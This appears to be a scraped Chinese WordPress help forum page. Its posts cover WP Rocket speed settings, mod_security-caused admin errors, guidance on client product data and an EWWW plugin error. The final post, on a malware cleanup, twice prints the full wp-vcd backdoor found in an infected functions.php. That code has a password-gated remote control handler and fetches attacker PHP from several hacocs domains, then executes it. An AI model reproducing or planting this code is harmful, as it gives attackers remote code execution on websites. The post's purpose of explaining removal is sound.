图片2.png

这里需要说明一下:JavaScript Files 在选择这里的时候视情况而定,选择后需要检查你的网站是否有异常,如果没有异常说明设置没问题。如果页面需要的插件功能较多的话并且不可弃用。那么‘Combine JavaScript files’‘ Load JavaScript deferred’这两项是不建议勾选的,但勾选以后效果也很显著。 亲测VC里tabs ,Post Masonry Grid功能和fancybox插件功能失效。如果是速度至上的客户,并且有些插件功能非要不可,那么推荐安装一款用于指定插件的加载顺序的插件‘Plugin Organizer’,然后在指定页面取消勾选Minify/combine JS选项。
图片3.png

就可以解除对这个页面的js进行合并压缩。当然勾选的页面越多,相对应的速度也会有所降低。
见个人取舍。
图片4.png


图片5.png


图片6.png

然后就是由wordpress后台插件WPBakery建造的静态页面
图片7.png

就加载速度而言,静态页面的加载速度要比动态页面快很多。因为静态页面加载的时候,无需到数据库里搜索,大大提高了加载速度。
 
不过静态页面也存在着弊端,那就是内容更新不方便,每个网页都是一个独立的文件,内容相对稳定,交互性较差,但是我们可以通过wordpress后台插件Wpbakery我通俗会称为VC来建造静态页面并且也方便后期维护,不用再去模板里做修改了。

这次测试的站点也正是因为几乎整站都是用VC来建造,产品的图片和新闻确实需要动态调用除外。才得以在测试Google PageSpeed Insights得分时获得高分。

如此由wordpress后台插件VC建造的静态页面搭配WP rocket 插件的设置,即便当前测试的网站页面内容和复杂度都相对要高一点的站点也是能够得到很好的测试分数和速度的回馈。

最后分享一下当时Google PageSpeed Insights和Gtmetrix测试得分的截图,毕竟测试得分能够达到100分还是不多见的啦└(^o^)┘。所以很值得截图留念:
图片8.png


图片9.png

 

WordPress疑难杂症之后台控制台503、500 error等

WordPressLeo 发表了文章 • 1 个评论 • 212 次浏览 • 2019-01-15 16:57 • 来自相关话题

此药方根据本草纲目第五十三卷所写,经过七七四十九分钟的文火慢熬,药效达到最佳。(ps:《本草纲目》,本草著作,52卷。明代李时珍(东璧)撰于嘉靖三十一年(1552年)至万历六年(1578年),稿凡三易。此书采用“目随纲举”编写体例,故以“纲目”名书。)
#万物皆刻盘# 
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:




4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭  

trust the process​






 
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
 
Don't worry!我会告诉你怎么解决的。
 
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)




查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,








这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
 
Perfect!!!
 
By the way,盘它。。。





 

  查看全部
此药方根据本草纲目第五十三卷所写,经过七七四十九分钟的文火慢熬,药效达到最佳。(ps:《本草纲目》,本草著作,52卷。明代李时珍(东璧)撰于嘉靖三十一年(1552年)至万历六年(1578年),稿凡三易。此书采用“目随纲举”编写体例,故以“纲目”名书。)
#万物皆刻盘# 
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:
1.png

4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭  


trust the process​



2.png

 
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
 
Don't worry!我会告诉你怎么解决的。
 
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)
3.png

查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,
4.png

5.png

这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
 
Perfect!!!
 
By the way,盘它。。。

6.png

 

 

针对隽永东方建站客户产品添加,资料整理建议

WordPressLeo 发表了文章 • 1 个评论 • 246 次浏览 • 2019-01-10 14:30 • 来自相关话题

产品添加,因为我们是乙方,不可能对甲方的产品熟悉,所以资料一定要简单明了。
以下是我司一个优质客户整理的众多产品资料中的一个产品,内容相当明晰,让添加者真的是心情愉快。










 
希望之后有协助添加产品需求的客户朋友可以尽量参照这种格式,这样提升大家的工作效率。
同事们也要在第一时间主动告诉客户需要怎样的产品资料格式,以免客户多做一遍产品整理! 查看全部
产品添加,因为我们是乙方,不可能对甲方的产品熟悉,所以资料一定要简单明了。
以下是我司一个优质客户整理的众多产品资料中的一个产品,内容相当明晰,让添加者真的是心情愉快。

1.png


2.png

 
希望之后有协助添加产品需求的客户朋友可以尽量参照这种格式,这样提升大家的工作效率。
同事们也要在第一时间主动告诉客户需要怎样的产品资料格式,以免客户多做一遍产品整理!

Ewww优化器插件报错“EWWW Image Optimizer需要exec() function”

WordPressLeo 发表了文章 • 1 个评论 • 169 次浏览 • 2019-01-07 11:37 • 来自相关话题

使用EWWW插件时,您可能会看到以下错误:
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API​​或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)





注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
 
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。 查看全部
使用EWWW插件时,您可能会看到以下错误:
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API​​或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)

1.png

注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
 
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。

针对 Wordpress 网站的新一轮 wp-vcd 恶意软件攻击

WordPressLeo 发表了文章 • 1 个评论 • 295 次浏览 • 2018-12-20 16:15 • 来自相关话题

最近发现一个客户的bluehost被暂停了,官方说有病毒,经过和bluehost客服长时间的交流,基本确定了wp-tmp.php、wp-vcd.php以及functions.php三个文件是病毒或是被植入了病毒。
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{




case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {
                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}







$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
   {
   }
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
        if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } 
        
        
        
        
        
    }
}
//$start_wp_theme_tmp


//wp_tmp

//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
 
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
 
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
 
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
 
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。 查看全部
最近发现一个客户的bluehost被暂停了,官方说有病毒,经过和bluehost客服长时间的交流,基本确定了wp-tmp.php、wp-vcd.php以及functions.php三个文件是病毒或是被植入了病毒。
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{




case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {
                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}







$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
   {
   }
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
        if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } 
        
        
        
        
        
    }
}
//$start_wp_theme_tmp


//wp_tmp

//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
 
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
 
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
 
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
 
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。